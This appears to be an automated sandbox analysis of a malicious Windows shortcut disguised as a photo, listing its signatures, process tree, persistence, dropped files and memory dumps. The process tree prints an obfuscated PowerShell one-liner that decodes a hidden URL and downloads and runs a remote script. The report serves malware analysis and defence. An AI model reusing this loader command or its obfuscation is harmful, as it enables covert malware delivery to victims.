Analysis
- max time kernel
150s - max time network
143s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
29/07/2026, 11:42
General
- Target photov_501789132308.lnk
- Size 2KB
- Sample260729-nvgrragb57
- SHA256 9019a66e3d9b4912d8e0e3c3d1ab8d0e2a655b04f49430e43c7febe435daa809
Malware Config
Signatures
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
- Executes dropped EXE 4 IoCs
- Loads dropped DLL 9 IoCs
- Adds Run key to start application 2 TTPs 3 IoCs
- Suspicious use of SetThreadContext 3 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Modifies registry class 1 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 3 IoCs
- Suspicious use of AdjustPrivilegeToken 4 IoCs
- Suspicious use of WriteProcessMemory 19 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\photov_501789132308.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c powershell -WindowStyle Minimized -c "$nguy=33;$swvtn14=4;$edto_x0d=[bigint]::Parse('8568626948369969041899739481096083060422');$y02j7tnk=[bigint]::Parse('8568033781279510942932544423826934223709');$edto_x0d=$edto_x0d-$y02j7tnk;$p6wklg13=@();while($edto_x0d -gt 0){$p6wklg13+=[char][int]([bigint]::Remainder($edto_x0d,256));$edto_x0d=[bigint]::Divide($edto_x0d,256)};.([scriptblock]::Create((irm(-join$p6wklg13))))"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Minimized -c "$nguy=33;$swvtn14=4;$edto_x0d=[bigint]::Parse('8568626948369969041899739481096083060422');$y02j7tnk=[bigint]::Parse('8568033781279510942932544423826934223709');$edto_x0d=$edto_x0d-$y02j7tnk;$p6wklg13=@();while($edto_x0d -gt 0){$p6wklg13+=[char][int]([bigint]::Remainder($edto_x0d,256));$edto_x0d=[bigint]::Divide($edto_x0d,256)};.([scriptblock]::Create((irm(-join$p6wklg13))))"3⤵
- Badlisted process makes network request
- Adds Run key to start application
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\Documents\ejjre_gauyg_upd_jatpn8be673d26e0946\psl.exe"C:\Users\Admin\Documents\ejjre_gauyg_upd_jatpn8be673d26e0946\psl.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"5⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
-
C:\Users\Admin\Documents\ejjre_gauyg_upd_jatpn8be673d26e0946\psl.exe"C:\Users\Admin\Documents\ejjre_gauyg_upd_jatpn8be673d26e0946\psl.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"2⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\cmd.exe"cmd /c start "" /D "C:\ProgramData\pslservicewinx32" "C:\ProgramData\pslservicewinx32\psl.exe""1⤵
- Suspicious use of WriteProcessMemory
-
C:\ProgramData\pslservicewinx32\psl.exe"C:\ProgramData\pslservicewinx32\psl.exe""2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\Temp\DCRCVDrv.sysC:\Windows\Temp\DCRCVDrv.sys1⤵
- Executes dropped EXE
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Replay Monitor
Loading Replay Monitor...
Downloads
libiconv-2.dll
libidn2-0.dll
libintl-8.dll
mlvzvlv_lsrq_ptrqbe_.zip
libpsl-5.dll
libunistring-5.dll
msvcp140.dll
psl.exe
ucrtbase.dll
vcruntime140.dll
vcruntime140_1.dll
DCRCVDrv.sys
memory/620-134-0x00007FF76FF40000-0x00007FF76FF55000-memory.dmp
memory/620-138-0x00007FF76FF40000-0x00007FF76FF55000-memory.dmp
memory/2736-142-0x00007FF64DC60000-0x00007FF64DC75000-memory.dmp
memory/2736-136-0x00007FF64DC60000-0x00007FF64DC75000-memory.dmp
memory/3452-143-0x00007FF76FF40000-0x00007FF76FF55000-memory.dmp
memory/3452-135-0x00007FF76FF40000-0x00007FF76FF55000-memory.dmp
memory/3544-213-0x0000000005620000-0x0000000005646000-memory.dmp
memory/3544-191-0x0000000005620000-0x0000000005646000-memory.dmp
memory/3544-184-0x0000000005620000-0x0000000005646000-memory.dmp
memory/3544-205-0x0000000005620000-0x0000000005646000-memory.dmp
memory/3544-254-0x0000000005620000-0x0000000005646000-memory.dmp
memory/3544-270-0x0000000005620000-0x0000000005646000-memory.dmp
memory/3544-296-0x0000000005620000-0x0000000005646000-memory.dmp
memory/3544-186-0x0000000005620000-0x0000000005646000-memory.dmp
memory/3544-189-0x0000000005620000-0x0000000005646000-memory.dmp
memory/3544-195-0x0000000005620000-0x0000000005646000-memory.dmp
memory/3544-199-0x0000000005620000-0x0000000005646000-memory.dmp
memory/3544-209-0x0000000005620000-0x0000000005646000-memory.dmp
memory/3544-217-0x0000000005620000-0x0000000005646000-memory.dmp
memory/3544-221-0x0000000005620000-0x0000000005646000-memory.dmp
memory/3544-225-0x0000000005620000-0x0000000005646000-memory.dmp
memory/3544-229-0x0000000005620000-0x0000000005646000-memory.dmp
memory/3544-232-0x0000000005620000-0x0000000005646000-memory.dmp
memory/3544-236-0x0000000005620000-0x0000000005646000-memory.dmp
memory/3544-240-0x0000000005620000-0x0000000005646000-memory.dmp
memory/3544-246-0x0000000005620000-0x0000000005646000-memory.dmp
memory/3544-250-0x0000000005620000-0x0000000005646000-memory.dmp
memory/3544-258-0x0000000005620000-0x0000000005646000-memory.dmp
memory/3544-262-0x0000000005620000-0x0000000005646000-memory.dmp
memory/3544-140-0x0000000000400000-0x0000000000470000-memory.dmp
memory/3544-266-0x0000000005620000-0x0000000005646000-memory.dmp
memory/3544-272-0x0000000005620000-0x0000000005646000-memory.dmp
memory/3544-363-0x0000000005620000-0x0000000005646000-memory.dmp
memory/3544-278-0x0000000005620000-0x0000000005646000-memory.dmp
memory/3544-367-0x0000000005620000-0x0000000005646000-memory.dmp
memory/3544-359-0x0000000005620000-0x0000000005646000-memory.dmp
memory/3544-354-0x0000000005620000-0x0000000005646000-memory.dmp
memory/3544-351-0x0000000005620000-0x0000000005646000-memory.dmp
memory/3544-347-0x0000000005620000-0x0000000005646000-memory.dmp
memory/3544-344-0x0000000005620000-0x0000000005646000-memory.dmp
memory/3544-284-0x0000000005620000-0x0000000005646000-memory.dmp
memory/3544-288-0x0000000005620000-0x0000000005646000-memory.dmp
memory/3544-292-0x0000000005620000-0x0000000005646000-memory.dmp
memory/3544-299-0x0000000005620000-0x0000000005646000-memory.dmp
memory/3544-303-0x0000000005620000-0x0000000005646000-memory.dmp
memory/3544-310-0x0000000005620000-0x0000000005646000-memory.dmp
memory/3544-306-0x0000000005620000-0x0000000005646000-memory.dmp
memory/4104-147-0x0000000004D50000-0x0000000004D76000-memory.dmp
memory/4104-137-0x0000000000180000-0x00000000001F0000-memory.dmp
memory/4104-328-0x0000000004D50000-0x0000000004D76000-memory.dmp
memory/4104-332-0x0000000004D50000-0x0000000004D76000-memory.dmp
memory/4104-340-0x0000000004D50000-0x0000000004D76000-memory.dmp
memory/4104-336-0x0000000004D50000-0x0000000004D76000-memory.dmp
memory/4104-145-0x0000000004D50000-0x0000000004D7C000-memory.dmp
memory/4104-144-0x0000000004D30000-0x0000000004D4A000-memory.dmp
memory/4104-2028-0x0000000006800000-0x0000000006DBA000-memory.dmp
memory/4104-2027-0x00000000061A0000-0x0000000006232000-memory.dmp
memory/4104-2024-0x0000000004FE0000-0x0000000005046000-memory.dmp
memory/4104-163-0x0000000004D50000-0x0000000004D76000-memory.dmp
memory/4104-146-0x0000000004D50000-0x0000000004D76000-memory.dmp
memory/4104-159-0x0000000004D50000-0x0000000004D76000-memory.dmp
memory/4104-317-0x0000000004D50000-0x0000000004D76000-memory.dmp
memory/4104-320-0x0000000004D50000-0x0000000004D76000-memory.dmp
memory/4104-161-0x0000000004D50000-0x0000000004D76000-memory.dmp
memory/4104-149-0x0000000004D50000-0x0000000004D76000-memory.dmp
memory/4104-151-0x0000000004D50000-0x0000000004D76000-memory.dmp
memory/4104-153-0x0000000004D50000-0x0000000004D76000-memory.dmp
memory/4104-155-0x0000000004D50000-0x0000000004D76000-memory.dmp
memory/4104-157-0x0000000004D50000-0x0000000004D76000-memory.dmp
memory/4104-324-0x0000000004D50000-0x0000000004D76000-memory.dmp
memory/5124-114-0x0000000000010000-0x000000000003D000-memory.dmp
memory/6764-6-0x00007FFD8D6C0000-0x00007FFD8E064000-memory.dmp
memory/6764-15-0x00000212777B0000-0x0000021277CD8000-memory.dmp
memory/6764-7-0x00007FFD8D6C0000-0x00007FFD8E064000-memory.dmp
memory/6764-9-0x00000212770B0000-0x0000021277272000-memory.dmp
memory/6764-12-0x00007FFD8D6C0000-0x00007FFD8E064000-memory.dmp
memory/6764-99-0x00007FFD8D6C0000-0x00007FFD8E064000-memory.dmp
memory/6764-0-0x00007FFD8D84F000-0x00007FFD8D850000-memory.dmp
memory/6764-11-0x00007FFD8D6C0000-0x00007FFD8E064000-memory.dmp
memory/6764-10-0x00007FFD8D6C0000-0x00007FFD8E064000-memory.dmp
memory/6764-54-0x00007FFD8D6C0000-0x00007FFD8E064000-memory.dmp
memory/6764-8-0x00007FFD8D6C0000-0x00007FFD8E064000-memory.dmp
memory/6764-16-0x0000021277030000-0x000002127703A000-memory.dmp
memory/6764-18-0x0000021277060000-0x0000021277072000-memory.dmp
memory/6764-52-0x00007FFD8D6C0000-0x00007FFD8E064000-memory.dmp
memory/6764-53-0x00007FFD8D6C0000-0x00007FFD8E064000-memory.dmp
memory/6764-55-0x00007FFD8D6C0000-0x00007FFD8E064000-memory.dmp
memory/6764-14-0x00007FFD8D6C0000-0x00007FFD8E064000-memory.dmp
memory/6764-13-0x00007FFD8D6C0000-0x00007FFD8E064000-memory.dmp
memory/6764-5-0x00007FFD8D6C0000-0x00007FFD8E064000-memory.dmp
memory/6764-4-0x0000021276AF0000-0x0000021276B12000-memory.dmp
memory/6764-1-0x00007FFD8D6C0000-0x00007FFD8E064000-memory.dmp